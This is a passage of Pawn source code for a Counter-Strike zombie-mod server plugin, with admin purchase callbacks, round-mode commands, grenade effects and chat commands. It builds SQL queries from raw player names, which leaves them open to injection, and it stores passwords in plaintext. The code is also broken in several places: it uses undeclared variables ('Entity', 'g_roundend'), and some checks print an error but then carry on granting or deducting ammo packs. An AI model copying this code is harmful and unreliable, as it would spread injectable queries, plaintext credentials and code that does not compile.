console_print(iPlayer, "We hope you enjoy you have fun!");
console_print(iPlayer, "****************************");
console_print(iPlayer, "");
server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
}
else
{
formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer], g_cName[iPlayer], "r", g_cInternetProtocolAddress[iPlayer], g_cGlobalPassword[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
client_cmd(iPlayer, "setinfo _pw ^"%s^"", g_cGlobalPassword[iPlayer]);
console_print(iPlayer, "");
console_print(iPlayer, "****************************");
console_print(iPlayer, "Done! You have now slot access!");
console_print(iPlayer, "Be careful, to login with your account,");
console_print(iPlayer, "You should type in your console");
console_print(iPlayer, "setinfo _pw ^"password^"");
console_print(iPlayer, "We hope you enjoy you have fun!");
console_print(iPlayer, "****************************");
console_print(iPlayer, "");
server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
}
return 0;
}
public SQLCheckModel(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
static iPlayer;
iPlayer = str_to_num(cData);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Admin Model Access", g_cName[iPlayer]);
if (SQL_NumResults(hQuery))
{
static cFlags[42];
SQL_ReadResult(hQuery, 0, cFlags, 42);
format(cFlags, 42, "m%s", cFlags);
formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
console_print(iPlayer, "");
console_print(iPlayer, "****************************");
console_print(iPlayer, "Done! You have now admin models access!");
console_print(iPlayer, "We hope you enjoy you have fun!");
console_print(iPlayer, "****************************");
console_print(iPlayer, "");
server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
}
else
{
formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer], g_cName[iPlayer], "m", g_cInternetProtocolAddress[iPlayer], g_cGlobalPassword[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
client_cmd(iPlayer, "setinfo _pw ^"%s^"", g_cGlobalPassword[iPlayer]);
console_print(iPlayer, "");
console_print(iPlayer, "****************************");
console_print(iPlayer, "Done! You have now admin models access!");
console_print(iPlayer, "Be careful, to login with your account,");
console_print(iPlayer, "You should type in your console");
console_print(iPlayer, "setinfo _pw ^"password^"");
console_print(iPlayer, "We hope you enjoy you have fun!");
console_print(iPlayer, "****************************");
console_print(iPlayer, "");
server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
}
return 0;
}
public CommandGetModel(iPlayer)
{
if (g_bAdminModel[iPlayer])
{
static cPassword[32];
read_argv(1, cPassword, 32);
if (!strlen(cPassword))
{
client_cmd(iPlayer, "messagemode amx_password_for_model");
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type your password again!");
}
static cData[3];
static cQuery[128];
formatex(g_cGlobalPassword[iPlayer], 32, "%s", cPassword);
num_to_str(iPlayer, cData, "");
formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", g_cName[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLCheckModel", cQuery, cData, 3);
}
return 0;
}
public CmdPlantMine(iPlayer)
{
if (g_bConnected[iPlayer])
{
if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iTripMines[iPlayer] || g_iPlantedMines[iPlayer] > 1 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't plant mines for some reasons...");
return 0;
}
if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
{
return 0;
}
if (CanPlant(iPlayer))
{
g_bPlanting[iPlayer] = 1;
set_task(1.0, "Func_Plant", iPlayer + 450, "", 0, "", 0);
}
}
return 0;
}
public CmdTakeMine(iPlayer)
{
if (g_bConnected[iPlayer])
{
if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iPlantedMines[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't take mines for some reasons...");
return 0;
}
if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
{
return 0;
}
if (can(iPlayer))
{
g_bRemoving[iPlayer] = 1;
set_task(1.0, "Func_Take", iPlayer + 500, "", 0, "", 0);
}
}
return 0;
}
public CmdMode(iPlayer)
{
if (g_bAdmin[iPlayer])
{
static Float:fGameTime;
static iAmmoTarget;
static cAmmo[4];
static iAmmo;
static iAlive;
static iTarget;
static cTarget[32];
static cMode[32];
read_argv(0, cMode, 32);
read_argv(1, cTarget, 31);
read_argv(2, cAmmo, 4);
iAlive = GetAliveCount();
iAmmo = str_to_num(cAmmo);
iTarget = cmd_target(iPlayer, cTarget, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF))
iAmmoTarget = cmd_target(iPlayer, cTarget, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF));
fGameTime = get_gametime();
if (floatsub(fGameTime, g_fRoundStartTime) < 2.0)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 two seconds^1 after round started!");
console_print(iPlayer, "[Zombie Outstanding] Please wait at least two seconds after round started!");
}
if (equal(cMode, "amx_ammo", 0) && iAmmoTarget && iAmmo && !g_bGaveThisRound[iPlayer] && g_iRoundsCount > 3)
{
static iMaxAmmo;
iMaxAmmo = 0;
if (AdminHasFlag(iPlayer, 97))
{
iMaxAmmo = 2;
}
else
{
if (AdminHasFlag(iPlayer, 108))
{
iMaxAmmo = 4;
}
if (AdminHasFlag(iPlayer, 113))
{
iMaxAmmo = 6;
}
if (AdminHasFlag(iPlayer, 116))
{
iMaxAmmo = 8;
}
if (AdminHasFlag(iPlayer, 117))
{
iMaxAmmo = 10;
}
if (AdminHasFlag(iPlayer, 119))
{
iMaxAmmo = 12;
}
if (AdminHasFlag(iPlayer, 56))
{
iMaxAmmo = 14;
}
}
if (!iMaxAmmo)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have^4 no acces^1 to this command!");
}
else
{
if (!iAmmo)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't give a^4 null^1 amount of packs!");
}
if (iAmmo > iMaxAmmo)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are trying to give^4 too many^1 packs!");
}
g_bGaveThisRound[iPlayer] = 1;
g_iPacks[iAmmoTarget] += iAmmo;
}
}
if (AdminHasFlag(iPlayer, 104) && equal(cMode, "amx_human", 0) && iTarget && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
{
if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
{
return 0;
}
MakeHuman(iTarget, false, false);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Human", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("ZombieOutstanding.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
}
if (AdminHasFlag(iPlayer, 54) && equal(cMode, "amx_respawn", 0) && iAmmoTarget && !g_bAlive[iAmmoTarget] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 3)
{
ExecuteHamB(Ham_CS_RoundRespawn, iAmmoTarget);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 respawn^3 %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
log_to_file("ZombieOutstanding.log", "%s respawn %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
}
if (AdminHasFlag(iPlayer, 122) && equal(cMode, "amx_zombie", 0) && iTarget && iAlive > 2 && GetHumans() > 1 && GetZombies() && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
{
if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
{
return 0;
}
if (g_bRoundStart)
{
StartNormalMode(iTarget);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie^1 [^4 First Zombie^1 ]", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("ZombieOutstanding.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer], g_cName[iTarget]);
}
else
{
MakeZombie(0, iTarget, false, false, false);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("ZombieOutstanding.log", "%s made %s a Zombie", g_cName[iPlayer], g_cName[iTarget]);
}
}
if (equal(cMode, "amx_sniper", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 120) && g_iRoundsCount > 3)
{
StartSniperMode(iTarget);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Sniper", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("ZombieOutstanding.log", "%s made %s a Sniper", g_cName[iPlayer], g_cName[iTarget]);
}
if (equal(cMode, "amx_survivor", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 118) && g_iRoundsCount > 3)
{
StartSurvivorMode(iTarget);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Survivor", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("ZombieOutstanding.log", "%s made %s a Survivor", g_cName[iPlayer], g_cName[iTarget]);
}
if (equal(cMode, "amx_nemesis", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 110) && g_iRoundsCount > 3)
{
StartNemesisMode(iTarget);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("ZombieOutstanding.log", "%s made %s a Nemesis", g_cName[iPlayer], g_cName[iTarget]);
}
if (equal(cMode, "amx_assassin", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 98) && g_iRoundsCount > 3)
{
StartAssassinMode(iTarget);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 an^4 Assassin", g_cName[iPlayer], g_cName[iTarget]);
log_to_file("ZombieOutstanding.log", "%s made %s an Assassin", g_cName[iPlayer], g_cName[iTarget]);
}
if (equal(cMode, "amx_swarm", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 115) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 3)
{
StartSwarmMode(true);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Swarm^1 round!", g_cName[iPlayer]);
log_to_file("ZombieOutstanding.log", "%s started Swarm round", g_cName[iPlayer]);
}
if (equal(cMode, "amx_plague", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 112) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 3)
{
StartPlagueMode(true);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Plague^1 round!", g_cName[iPlayer]);
log_to_file("ZombieOutstanding.log", "%s started Plague round", g_cName[iPlayer]);
}
if (equal(cMode, "amx_armageddon", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 106) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
{
StartArmageddonMode(true);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Armageddon^1 round!", g_cName[iPlayer]);
log_to_file("ZombieOutstanding.log", "%s started Armageddon round", g_cName[iPlayer]);
}
if (equal(cMode, "amx_nightmare", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 50) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 3)
{
StartNightmareMode(true);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Nightmare^1 round!", g_cName[iPlayer]);
log_to_file("ZombieOutstanding.log", "%s started Nightmare round", g_cName[iPlayer]);
}
if (equal(cMode, "amx_assassins_vs_snipers", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 57) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 3)
{
StartAssassinsVsSnipersMode(true);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Assassins vs Snipers^1 round!", g_cName[iPlayer]);
log_to_file("ZombieOutstanding.log", "%s started Assassins vs Snipers round", g_cName[iPlayer]);
}
if (equal(cMode, "amx_multiple", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 111) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 3)
{
StartMultiMode(true);
remove_task(700, 0);
g_bRoundStart = false;
remove_task(550, 0);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Multiple Infections^1 round!", g_cName[iPlayer]);
log_to_file("ZombieOutstanding.log", "%s started Multiple Infections round", g_cName[iPlayer]);
}
}
return 0;
}
public CmdNightVision(iPlayer)
{
if (g_bFlash[iPlayer])
{
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (floatsub(fCurrentTime, g_fLastTime[iPlayer]) < 0.5)
{
return 1;
}
g_fLastTime[iPlayer] = fCurrentTime;
g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
remove_task(iPlayer + 350, 0);
if (g_bFlashEnabled[iPlayer])
{
set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
}
}
return 1;
}
Infection_Explode(iEntity)
{
send_beam_cylinder(iEntity, 0, 250, 0, 200);
if ( g_bRoundEnd ) return;
static Float: Origin [3];
pev ( iEntity, pev_origin, Origin );
EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
static Attacker;
Attacker = pev ( iEntity, pev_owner );
static Victim;
Victim = -1
while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
{
if ( !is_user_valid_alive ( Victim ) || g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
if ( GetHumans ( ) == 1 )
{
ExecuteHamB ( Ham_Killed, Victim, Attacker, 0 );
continue;
}
EmitSound ( Victim, CHAN_AUTO, g_cHumanNadeInfectSounds[random_num(0, 2)]);
MakeZombie(Attacker, Victim, false, false, false);
}
engfunc ( EngFunc_RemoveEntity, iEntity );
}
Killing_Explode(iEntity)
{
send_beam_cylinder(iEntity, 127, 0, 255, 200);
if (g_roundend) return
static Float:originF[3]
pev(iEntity, pev_origin, originF)
CreateBlastKilling ( originF );
EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
static attacker
attacker = pev(iEntity, pev_owner)
if (!is_user_connected(attacker))
{
engfunc(EngFunc_RemoveEntity, iEntity)
return
}
static victim
victim = -1
while((victim = engfunc(EngFunc_FindEntityInSphere, victim, originF, 240.0)) != 0)
{
if(!is_user_alive(victim) || !g_bZombie[victim] || g_iPlayerType[victim] & 1)
continue
ExecuteHamB(Ham_Killed, victim, attacker, 0)
}
engfunc(EngFunc_RemoveEntity, iEntity)
}
Fire_Explode(iEntity)
{
send_beam_cylinder(iEntity, 200, 50, 0, 200);
static Float: Origin [3];
pev ( iEntity, pev_origin, Origin );
EmitSound ( iEntity, CHAN_WEAPON, "ZombieOutstanding/grenade_fire_explode.wav" );
static Victim;
Victim = -1;
while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
{
if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
if ( g_iPlayerType[Victim] & 1 || g_iPlayerType[Victim] & 2 )
g_iBurningDuration [Victim] += 4;
else
g_iBurningDuration [Victim] += 4 * 5;
if (!task_exists(Victim + 200, 0))
{
set_task(0.2, "TaskBurn", Victim + 200, "", 0, "b", 0);
}
}
engfunc ( EngFunc_RemoveEntity, iEntity );
}
public TaskBurn(iTask)
{
static flags;
static iPlayer;
iPlayer = iTask + -200;
flags = pev ( iPlayer, pev_flags );
if ( g_bNoDamage [iPlayer] || ( flags & FL_INWATER ) || g_iBurningDuration [iPlayer] < 1 )
{
send_smoke(iPlayer);
remove_task(iTask, 0);
return;
}
if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && !random_num ( 0, 20 ) )
{
client_cmd(iPlayer, "spk %s", g_cZombieBurnSounds[random_num(0, 4)]);
}
if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && ( flags & FL_ONGROUND ) && 1.0 > 0.0 )
{
static Float: velocity [3];
pev ( iPlayer, pev_velocity, velocity );
xs_vec_mul_scalar ( velocity, 1.0, velocity );
set_pev ( iPlayer, pev_velocity, velocity );
}
static health;
health = pev ( iPlayer, pev_health );
if ( health - floatround ( 20.0, floatround_ceil ) > 0 )
set_health ( iPlayer, health - floatround ( 20.0, floatround_ceil ) );
send_flame(iPlayer);
g_iBurningDuration [iPlayer]--
}
Freeze_Explode(iEntity)
{
static Float: Origin [3];
pev ( Entity, pev_origin, Origin )
send_beam_cylinder(Entity, 0, 100, 200, 200);
EmitSound ( Entity, CHAN_WEAPON, "ZombieOutstanding/grenade_frost_explode.wav" );
static Victim;
Victim = -1;
while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
{
if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bFrozen [Victim] || g_bNoDamage [Victim] ) continue;
send_damage(Victim, 1);
if (g_iPlayerType[Victim] & 1)
{
static Origin_2 [3]; get_user_origin ( Victim, Origin_2 );
EmitSound (Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav" );
continue;
}
set_glow(Victim, 19, 13, 0, 100, 200);
EmitSound ( Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav");
g_bFrozen[Victim] = true;
ExecuteHamB(Ham_Item_PreFrame, Victim);
set_frozen(Victim, 1);
message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, Victim );
write_short ( 0 );
write_short ( 0 );
write_short ( 0x0004 );
write_byte ( 0 );
write_byte ( 100 );
write_byte ( 200 );
write_byte ( 100 );
message_end ( );
if ( pev ( Victim, pev_flags ) & FL_ONGROUND )
set_pev ( Victim, pev_gravity, 999999.9 );
else
set_pev ( Victim, pev_gravity, 0.000001 );
g_bFrozen [Victim] = true;
set_task(3.0, "TaskUnfreeze", Victim, "", 0, "", 0);
}
engfunc ( EngFunc_RemoveEntity, Entity );
}
public TaskUnfreeze(i)
{
if (g_bConnected[i] && !g_bRoundStart)
{
g_bFrozen[i] = false;
set_frozen(i, 0);
ExecuteHamB(Ham_Item_PreFrame, i);
message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, i );
write_short ( 1<<12 );
write_short ( 0 );
write_short ( 0x0000 );
write_byte ( 0 );
write_byte ( 50 );
write_byte ( 200 );
write_byte ( 100 );
message_end ( );
EmitSound (i, CHAN_AUTO, "ZombieOutstanding/grenade_frost_break.wav");
send_break_glass(i);
remove_glow(i);
}
return 0;
}
Explosion_Explode(iEntity)
{
send_explosion(Entity);
static Attacker;
Attacker = pev ( Entity, pev_owner );
for ( new Victim = 1; Victim < g_iMaxClients + 1; Victim ++ )
{
if ( !is_user_connected ( Victim ) || !is_user_alive ( Victim ) ) continue;
if ( g_bZombie [Victim] )
{
static Float: fDistance, Float: fDamage;
fDistance = entity_range ( Victim, Entity );
if ( fDistance < 300.0 )
{
fDamage = 667.0 - fDistance;
message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenFade" ), _, Victim );
write_short ( 2048 );
write_short ( 1024 );
write_short ( 0x0000 );
write_byte ( 255 );
write_byte ( 0 );
write_byte ( 0 );
write_byte ( fDistance < 220 ? 220 : 205 );
message_end ( );
EmitSound ( Victim, CHAN_AUTO, "fvox/flatline.wav" );
message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenShake" ), _, Victim );
write_short ( 1<<12 * 4 );
write_short ( 1<<12 * 2 );
write_short ( 1<<12 * 10 );
message_end ( );
if ( float ( get_health ( Victim ) ) - fDamage > 0.0 )
ExecuteHamB ( Ham_TakeDamage, Victim, Entity, Attacker, fDamage, DMG_BLAST );
else
ExecuteHamB ( Ham_Killed, Victim, Attacker, 4 );
if ( g_iPlayerType[Victim] & 1 && g_iPlayerType[Victim] & 2 ) fDamage *= 0.75;
client_print_color(Attacker, print_team_grey, "^4[Zombie Outstanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[Victim], fDamage);
if ( fDamage >= 500)
g_iPacks [Attacker] += 2;
else
g_iPacks [Attacker] += 1;
}
}
}
engfunc ( EngFunc_RemoveEntity, Entity );
}
public CmdDrop(iPlayer)
{
if (g_bConnected[iPlayer])
{
if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
{
user_drop_jetpack(iPlayer, 0);
return 1;
}
if (g_iPlayerType[iPlayer])
{
return 1;
}
}
return 0;
}
public CmdJoinTeam(iPlayer)
{
if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
{
menu_display(iPlayer, g_iGameMenu, 0);
return 1;
}
return 0;
}
public EventStatusValue(iPlayer)
{
if (g_bConnected[iPlayer])
{
static cPoints[15];
static cPacks[15];
static cHealth[15];
static iVictim;
iVictim = read_data(2);
if (g_bZombie[iVictim] == g_bZombie[iPlayer])
{
AddCommas(get_health(iVictim), cHealth, 14);
AddCommas(g_iPacks[iVictim], cPacks, 14);
AddCommas(g_iPoints[iVictim], cPoints, 14);
new color1;
if (g_bZombie[iPlayer])
{
color1 = 0;
}
else
{
color1 = 255;
}
new color2;
if (g_bZombie[iPlayer])
{
color2 = 255;
}
else
{
color2 = 0;
}
set_hudmessage(color2, 50, color1, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s | Armor: %d | Packs: %s | Points: %s ]", g_cName[iVictim], cHealth, get_armor(iVictim), cPacks, cPoints);
}
if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
{
AddCommas(get_health(iVictim), cHealth, 14);
set_hudmessage(175, 1, 30, -1.0, 0.60, 1, 0.01, 3.0, 0.01, 0.01, -1);
ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
}
}
return 0;
}
public ShowMenuClasses(iPlayer)
{
menu_display(iPlayer, g_iMenuZombieClasses, 0);
return 0;
}
public Client_SayTeam(iPlayer)
{
if (!g_bConnected[iPlayer])
{
return 1;
}
static Float:fGameTime;
fGameTime = get_gametime();
if (g_fGagTime[iPlayer] > fGameTime)
{
return 1;
}
static cMessage[150];
read_args(cMessage, 149);
remove_quotes(cMessage);
if (!cMessage[0] || strlen(cMessage) > 147 || is_advertisement(iPlayer, cMessage))
{
return 1;
}
if (cMessage[0] == 64)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
{
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && g_bAdmin[i] && AdminHasFlag(i, 102))
{
client_print_color(i, print_team_grey, "^4[ADMINS]^3 %s^1 : %s", g_cName[iPlayer], cMessage);
}
i += 1;
}
}
else
{
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && (g_bAdmin[i] || iPlayer != i))
{
client_print_color(i, print_team_grey, "^3(PLAYER) %s^1 : %s", g_cName[iPlayer], cMessage);
}
i += 1;
}
}
return 1;
}
return 0;
}
public Client_Say(iPlayer)
{
if (!g_bConnected[iPlayer])
{
return 1;
}
static Float:fGameTime;
fGameTime = get_gametime();
if (g_fGagTime[iPlayer] > fGameTime)
{
return 1;
}
static cMessage[150];
static cPlayer[3];
num_to_str(iPlayer, cPlayer, 2);
read_args(cMessage, 149);
remove_quotes(cMessage);
if (!cMessage[0] || strlen(cMessage) > 147 || is_advertisement(iPlayer, cMessage))
{
return 1;
}
if (equali(cMessage, "/rank", 5) || equali(cMessage, "rank", 4))
{
if (!g_bRanked[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are not ranked yet!");
}
else
{
if (floatsub(fGameTime, g_fLastRankQuery) < 3.0)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have to wait^3 %0.1f seconds^1 until next command!", g_fLastRankQuery + 3.0 - fGameTime);
}
g_fLastRankQuery = fGameTime;
formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", g_cQuery, cPlayer, 3);
}
}
else
{
if (equali(cMessage, "/gold", 5) || equali(cMessage, "/vip", 4) || equali(cMessage, "vip", "") || equali(cMessage, "gold", 4))
{
new Text[1501];
add(Text, 1500, "<body bgcolor=#000000><font color=AAE500><pre>Contact Skype : Emporio614 & Bratu.Mihai3<br><br>Monthly Price | Pret Lunar : 5 EUR 7 USD 25 RON<br><br>Features | Caracteristici<br>* Higher Damage ", 0);
add(Text, 1500, "+ More Ammo Packs | Mai Multe Daune + Mai Multe Pachete Ammo<br>* +200 Health in Spawn | +200 Viata la Spawn<br>* +50 Armor in Spawn | +50 Armura la Spawn<br>* Double Jump in Spawn | Saritura Dubla din Spawn<br>* Special Laser ", 0);
add(Text, 1500, "Rays -- Ability to View Through Walls | Raze Laser Speciale -- Abilitate sa Vezi Prin Pereti<br>* White Player Model | Model Alb de Jucator<br>* VIP Tag in Score Table | Tag VIP in Tabla de Scoruri</pre></font></body>", 0);
show_motd(iPlayer, Text, "Gold Member Info");
}
if (equali(cMessage, "/top", 4) || equali(cMessage, "top", ""))
{
show_motd(iPlayer, "http://csaddicted.com/rank/index.php", "Player Rankings");
}
if (equali(cMessage, "/bans", 0) || equali(cMessage, "bans", 0))
{
show_motd(iPlayer, "http://csaddicted.com/bans/index.php", "Server's Bans");
}
if (equali(cMessage, "/admins", 0) || equali(cMessage, "admins", 0))
{
show_motd(iPlayer, "http://csaddicted.com/admins/index.php", "Server's Admins");
}
if (equali(cMessage, "/maps", 0) || equali(cMessage, "maps", 0))
{
show_motd(iPlayer, "http://csaddicted.com/maps/index.php", "Server's Maps");
}
if (cMessage[0] == 64 && g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
{
static Random;
static Float:fVertical;
static i;
g_iMessagePosition += 1;
if (g_iMessagePosition > 1)
{
g_iMessagePosition = 0;
}
switch (g_iMessagePosition)
{
case 0:
{
fVertical = 0.45;
}
case 1:
{
fVertical = 0.5;
}
case 2:
{
fVertical = 0.55;
}
case 3:
{
fVertical = 0.60;
}
default:
{
}
}
set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i])
{
ShowSyncHudMsg(i, g_iLeftSync[g_iMessagePosition], "%s : %s", g_cName[iPlayer], cMessage);
}
i += 1;
}
return 1;
}
if (equali(cMessage, "/timeleft", 0) || equali(cMessage, "timeleft", 0))
{
static iTimeleft;
iTimeleft = floatround(GetTimeLeft(), 0);
if (!get_cvar_num("mp_timelimit"))
{
client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [no time limit]");
}
else
{
if (get_cvar_num("mp_timelimit") == 4096)
{
client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
}
if (0 < iTimeleft)
{
client_print_color(iPlayer, print_team_grey, "^1Time left:^4 %d:%02d", iTimeleft / 60, iTimeleft % 60);
}
else
{
client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
}
}
}
if (equali(cMessage, "/nextmap", 0) || equali(cMessage, "nextmap", 0))
{
static cMap[32];
get_cvar_string("nextmap", cMap, 32);
if (cMap[0])
{
client_print_color(iPlayer, print_team_grey, "^1Next map:^4 %s", cMap);
}
else
{
client_print_color(iPlayer, print_team_grey, "^1Next map:^4 [not yet voted on]");
}
}
if (equali(cMessage, "lm", 0) || equali(cMessage, "/lm", 0))
{
if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Mines are unavailable right now!");
}
else
{
if (5 > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You need at least^4 5 ammo packs");
}
g_iPacks[iPlayer] -= 5;
g_iTripMines[iPlayer]++;
